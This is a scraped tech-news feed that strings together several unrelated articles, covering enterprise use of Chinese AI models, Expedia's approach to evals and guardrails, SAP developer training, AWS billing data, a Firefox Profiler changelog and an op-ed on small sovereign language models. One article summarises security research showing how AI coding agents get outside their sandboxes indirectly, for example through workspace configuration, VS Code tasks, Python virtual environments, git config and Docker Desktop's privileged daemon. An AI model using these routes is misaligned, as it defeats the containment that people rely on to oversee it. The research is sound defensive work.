Shashi Bellamkonda, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. 

“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”

On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”

Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.

“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”

Too early for enterprises to consider

However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. 

Cybersecurity consultant Brian Levine, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. 

“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”

Tom Findling, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. 

“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. 

Mike Wilkes, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.

“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”

He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”

But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”

Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has banned their usage.  

A rational choice for some workloads

However, Yuri Goryunov, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. 

“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”

Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”

]]> <![CDATA[Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026]]> https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/ https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/ Tue, 21 Jul 2026 20:19:07 +0200 📰 IT Nachrichten tsecurity.de “The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”

He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”

Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI.

VentureBeat’s VB Pulse research on the evaluation gap reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.

Don’t let guardrails get in the way of feedback

“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.

Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.

Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.

In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and the checks shift from recommended to required as the stakes climb.

Specialized agents over monolithic intelligence

“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”

Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”

Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.

When the user must keep the final click

Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.

“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.

“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”

The next attackers will be other AI systems

“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”

A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”

Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June Pulse survey on agent security, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.

Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”

]]> <![CDATA[USN-8580-1: AccountsService vulnerabilities]]> https://tsecurity.de/de/3684599/unix-server/usn-8580-1-accountsservice-vulnerabilities/ https://tsecurity.de/de/3684599/unix-server/usn-8580-1-accountsservice-vulnerabilities/ Tue, 21 Jul 2026 20:17:06 +0200 🐧 Unix Server tsecurity.de <![CDATA[Prompt Engineering Isn’t Enough: How Four Bricks of Context Engineering Stop RAG Hallucinations]]> https://tsecurity.de/de/3684373/ai-nachrichten/prompt-engineering-isnt-enough-how-four-bricks-of-context-engineering-stop-rag-hallucinations/ https://tsecurity.de/de/3684373/ai-nachrichten/prompt-engineering-isnt-enough-how-four-bricks-of-context-engineering-stop-rag-hallucinations/ Tue, 21 Jul 2026 18:35:05 +0200 🔧 AI Nachrichten tsecurity.de Enterprise Document Intelligence [Vol.1 #9bis] - Your RAG isn’t hallucinating, it’s answering the wrong context faithfully. On real NIST and World Bank documents, watch each of the four bricks break, and the contract that closes it

The post Prompt Engineering Isn’t Enough: How Four Bricks of Context Engineering Stop RAG Hallucinations appeared first on Towards Data Science.

]]> <![CDATA[Ricky Gervais Says ‘Alley Cats’ Takes a New Approach to Adult Animation]]> https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/ https://tsecurity.de/de/3684263/ios-mac-os/ricky-gervais-says-alley-cats-takes-a-new-approach-to-adult-animation/ Tue, 21 Jul 2026 17:59:51 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[SAP developers face education debt, user group warns]]> https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/ https://tsecurity.de/de/3684227/it-nachrichten/sap-developers-face-education-debt-user-group-warns/ Tue, 21 Jul 2026 17:50:28 +0200 📰 IT Nachrichten tsecurity.de

Many enterprises are investing tens of millions in modernizing their SAP landscapes, but are often underestimating a crucial factor for success, the training of their own developers, according to the German-Speaking SAP User Group, DSAG.

The user association urges CIOs to treat the continuing education of SAP developers not as a voluntary training measure but as a strategic investment program in a new report on upskilling [PDF, in German]. Well-trained developers are essential for building stable, maintainable in-house projects without accumulating technical debt, but without continuing education during the upgrade to S/4HANA, the potential of the new technologies will remain untapped, it warned.

Outdated expertise becomes a project risk

As the authors explain, while many ABAP developers have decades of experience with SAP R/3 or ECC and possess extensive process knowledge, development paradigms have fundamentally changed with S/4HANA, Clean Core, and ABAP Cloud.

In the long term, this threatens to lead to poor architectural decisions, time-consuming workarounds, and in-house developments that will need to be maintained with every release, according to DSAG. Many business consultants, too, are still relying too heavily on classic GUI transactions and not taking modern Fiori technologies sufficiently into account.

The result is what the SAP user group refers to as “skills debt.” This debt remains invisible at first but later becomes apparent in the form of longer projects, rising maintenance costs, and a growing dependence on external service providers.

Skill building must start before the project

The DSAG authors view the timing of training as particularly critical. Those who wait until an ongoing S/4HANA migration project is underway to begin building expertise significantly increase the project risk. A lack of knowledge about CDS, RAP, or Fiori leads to architectural decisions that must later be corrected at great expense. At the same time, the necessary learning effort can hardly be managed alongside day-to-day business operations.

But even after the migration is complete, SAP developers must continue their training, according to DSAG. The authors warn that anyone who continues to work as they did on ECC will miss out on the opportunities offered by current SAP technologies — even if everything still works technically. At the same time, they can immediately apply what they’ve learned, which helps solidify their new knowledge.

AI no replacement for developer expertise

While AI tools can generate and explain code, this requires that developers be able to evaluate the results from a technical perspective, and according to DSAG the same applies to development in the SAP environment: “Only those who understand what constitutes good SAP code can use AI as an accelerator,” the authors write. Otherwise, AI acts as a risk amplifier and, in the worst case, merely accelerates the accumulation of technical debt.

The prerequisites for successful AI deployment are solid software engineering knowledge, automated testing, and an understanding of modern SAP development.

DSAG’s five recommendations

DSAG recommends that CIOs firmly integrate continuing education into their transformation strategy with five measures:

  • defining mandatory learning paths for different roles, such as ABAP, CAP, or integration developers, as well as business consultants,
  • providing suitable sandbox and test environments,
  • mandatorily including training time in capacity planning,
  • coordinating training schedules with migration and modernization projects, and
  • using existing DSAG guidelines as a reference framework for development.

]]> <![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]> https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/ https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/ Tue, 21 Jul 2026 16:18:50 +0200 📰 IT Nachrichten tsecurity.de

AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.

The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and Bedrock product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a blog post.

That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.

“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said Bhupendra Chopra, chief revenue officer at IT consulting firm Kanerika.

The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.

That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said Pareekh Jain, principal analyst at Pareekh Consulting.

Richer billing data to boost enterprise AI cost governance

Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.

Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.

“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.

This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.

It’s a timely update, especially in light of last week’s AWS billing issue that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said Muskan Bandta, cloud associate at FinOps services providing firm ZopDev.

“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.

This article first appeared on InfoWorld.

]]> <![CDATA[Firefox Tooling Announcements: Firefox Profiler Deployment (July 21, 2026)]]> https://tsecurity.de/de/3683972/tools/firefox-tooling-announcements-firefox-profiler-deployment-july-21-2026/ https://tsecurity.de/de/3683972/tools/firefox-tooling-announcements-firefox-profiler-deployment-july-21-2026/ Tue, 21 Jul 2026 16:11:42 +0200 💾 Tools tsecurity.de The latest version of the Firefox Profiler is now live! Check out the full changelog below to see what’s changed:

Highlights:

  • [fatadel] Show counter values over time in profiler-cli (#6136)
  • [Markus Stange] More typed arrays: sample + counter times, some frametable columns (#6139)
  • [NazÄąm Can AltÄąnova] Add marker handles to profiler-cli thread network (#6172)
  • [NazÄąm Can AltÄąnova] Surface network activity across profiler-cli (#6175)
  • [NazÄąm Can AltÄąnova] Add profile meta command to profiler-cli (#6177)
  • [Markus Stange] Allow raw marker table’s startTime and endTime columns to be Float64Array (#6169)

Other Changes:

  • [Sky Ning] Skip preview links for non-main PRs (#6161)
  • [spokodev] fix(gecko-upgrade): don’t crash on a counter with empty sample_groups (#6160)
  • [Markus Stange] Make profile-conversion snapshots more compact and meaningful (#6152)
  • [NazÄąm Can AltÄąnova] Only render a marker url field as a link when the whole value is a URL (#6163)
  • [fatadel] Show each counter’s owning process in profiler-cli (#6164)
  • [NazÄąm Can AltÄąnova] Document the pre-existing thread info and network JSON schemas in the cli (#6171)
  • [Markus Stange] Copy column contents in getRawSamplesTableBuilderFromExisting for consistency (#6168)
  • [Markus Stange] Convert eligible columns to typed arrays when outputting from profiler-edit (#6167)
  • [Markus Stange] Remove unused samples.thread column (#6151)
  • [Markus Stange] Fixed botched merge which broke ‘yarn ts’ (#6174)
  • [Markus Stange] Update json-slabs 0.3.0 → 0.4.0 (major) (#6176)
  • [nightcityblade] Fix light theme text selection colors (#6186)
  • [NazÄąm Can AltÄąnova] Import source map URLs from Chrome DevTools traces (#6190)
  • [NazÄąm Can AltÄąnova] Rename yarn build-profiler-cli script to build-cli (#6191)
  • [NazÄąm Can AltÄąnova] Migrate husky to version 9 (#6201)
  • [NazÄąm Can AltÄąnova] Fix horizontal overflow when the transform navigator is long (#6199)
  • [fatadel] Add a ‘hexadecimal’ marker schema field format (#6197)
  • [NazÄąm Can AltÄąnova] Bump source-map to 0.8.0 and remove the old type workaround (#6202)
  • [NazÄąm Can AltÄąnova] :clockwise_vertical_arrows: Sync: l10n → main (July 21, 2026) (#6209)

Big thanks to our amazing localizers for making this release possible:

  • fr: parmegiani.thomas
  • fr: ThĂŠo Chevalier
  • sr: Марко Костић (Marko Kostić)
  • sv-SE: Luna Jernberg
  • tr: Grk
  • zh-CN: Ariel
  • zh-CN: Olvcpr423

Find out more about the Firefox Profiler on profiler.firefox.com! If you have any questions, join the discussion on our Matrix channel!

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]]> <![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]> https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/ https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/ Tue, 21 Jul 2026 16:05:12 +0200 🔧 AI Nachrichten tsecurity.de

AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.

The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and Bedrock product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a blog post.

That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.

“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said Bhupendra Chopra, chief revenue officer at IT consulting firm Kanerika.

The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.

That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said Pareekh Jain, principal analyst at Pareekh Consulting.

Richer billing data to boost enterprise AI cost governance

Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.

Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.

“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.

This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.

It’s a timely update, especially in light of last week’s AWS billing issue that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said Muskan Bandta, cloud associate at FinOps services providing firm ZopDev.

“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.

]]> <![CDATA[2026 Ransomware Report Reveals 7,551 Victims, 146 Active Groups, and Qilin’s 443% Surge]]> https://tsecurity.de/de/3683732/it-security-nachrichten/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/ https://tsecurity.de/de/3683732/it-security-nachrichten/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/ Tue, 21 Jul 2026 14:54:41 +0200 📰 IT Security Nachrichten tsecurity.de Ransomware volumes hit a new peak in 2026, with Black Kite tracking 7,551 publicly disclosed victims, 146 active groups, and a 443% year‑over‑year surge in Qilin activity that reshapes the threat landscape. The data points to a structurally higher operating tempo, a middle‑market pivot, and attacker visibility that often outpaces defenders’ own understanding of their […]

The post 2026 Ransomware Report Reveals 7,551 Victims, 146 Active Groups, and Qilin’s 443% Surge appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[AI agents can escape sandboxes without ever breaking them]]> https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/ https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/ Tue, 21 Jul 2026 13:53:46 +0200 📰 IT Security Nachrichten tsecurity.de

Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume.

Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity can indirectly cross security boundaries without technically escaping their sandboxes.

“In almost every case, the agent did not need to break the sandbox directly,” the researchers said in a blog post. “It only had to write something that a trusted component outside the sandbox would later run, load, scan, or treat as safe.”

The findings outlined four specific and repeatable failure modes in AI sandboxes. These included denylist sandboxes failing growing OS complexity, workspace configurations turning out to be executable code, command allowlists trusting command names instead of invocations, and privileged local daemons that sit outside the sandbox entirely.

“CISOs and security buyers need to realize that it’s not enough for an agentic IDE or CLI to have a sandbox,” the researchers said, adding that it is important to know where the sandbox’s actual boundary is.

Escaping sandboxes without breaking them

Pillar challenged the basic understanding of sandboxing in AI-assisted development. Rather than escaping through kernel exploits or container breakouts, the demonstrated attacks relied on an indirect mechanism.

In all shown attack paths, the agent remains confined while producing files that trusted host-side applications subsequently consume.

Those files may include workspace configuration, automation scripts, IDE settings, and virtual environment contents that naturally participate in a developer’s workflow. When external tools later execute or interpret those files outside the sandbox, code originating from within the isolated environment effectively crosses the security boundary without violating the sandbox’s rules.

Different sandbox escapes for different agents

Pillar demonstrated the pattern across multiple AI coding tools using different techniques. In Antigravity, the researchers exploited weaknesses in the denylist-style macOS Seabelt profile and abused VS Code task configurations that were later executed outside the sandbox. Cursor, meanwhile, was shown to trust agent-created Python virtual environments, alternate Git directories, and workspace hook configurations that ultimately ran with host privileges.

The researchers also found a common escape path affecting Cursor, Codex CLI, and Gemini CLI through Docker Desktop’s privileged daemon, allowing sandboxed agents to execute commands outside their restricted environments.

In another Codex CLI finding, a supposedly safe Git allowlist could be manipulated to modify repository configuration and trigger code execution at a later stage.

Agentic development demands a different security model

Pilar argued that enterprises need a new security model for agentic software. The existing endpoint protections typically focus on whether a process can escape its execution environment. But autonomous agents challenge this by continuously generating content that other trusted systems consume.

The researchers recommended treating workspace configurations that can trigger execution as sensitive assets, requiring explicit approval before agents create or modify host-side automation, ensuring that helper processes operate under the same security policy as direct agent execution, and preserving provenance that distinguishes user-created files from repository- or agent-generated content.

Organizations were also advised to model security policies around command side effects rather than simply process invocation, limit access to privileged local services, and monitor trust handoffs throughout the development workflow.

]]> <![CDATA[Shufti simplifies cross-border compliance with the Glocal Platform]]> https://tsecurity.de/de/3683518/it-security-nachrichten/shufti-simplifies-cross-border-compliance-with-the-glocal-platform/ https://tsecurity.de/de/3683518/it-security-nachrichten/shufti-simplifies-cross-border-compliance-with-the-glocal-platform/ Tue, 21 Jul 2026 13:21:42 +0200 📰 IT Security Nachrichten tsecurity.de Shufti has launched the Shufti Glocal Platform, a compliance lifecycle management solution designed to help organizations manage identity verification, fraud prevention, risk assessment, and regulatory compliance through a single platform across every industry, every region, and every use case. For decades, global expansion has come with an unwritten rule: every new market needs a new compliance provider. A solution built for one region may not fully support the regulations, document ecosystems, verification methods, or risk … More →

The post Shufti simplifies cross-border compliance with the Glocal Platform appeared first on Help Net Security.

]]> <![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]> https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/ https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/ Tue, 21 Jul 2026 12:03:22 +0200 📰 IT Nachrichten tsecurity.de

For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.

That model is the small language model (SLM): Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.

The problem with renting intelligence

Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.

That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.

An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.

I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.

Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.

Why “small” is the strategic choice, not the compromise

There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: Microsoft’s Phi-4 family of small models, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.

For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.

That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.

The public sector’s hidden advantage

Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.

A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: The APS AI Plan, released in November 2025, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.

Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.

Done well, this isn’t just an efficiency play. It’s a sovereignty play. As GovTech Review has noted, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.

Why this belongs in the innovation budget, not the IT budget

The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.

That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.

Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?

The opportunity in front of us

The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.

Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.

This article is published as part of the Foundry Expert Contributor Network.
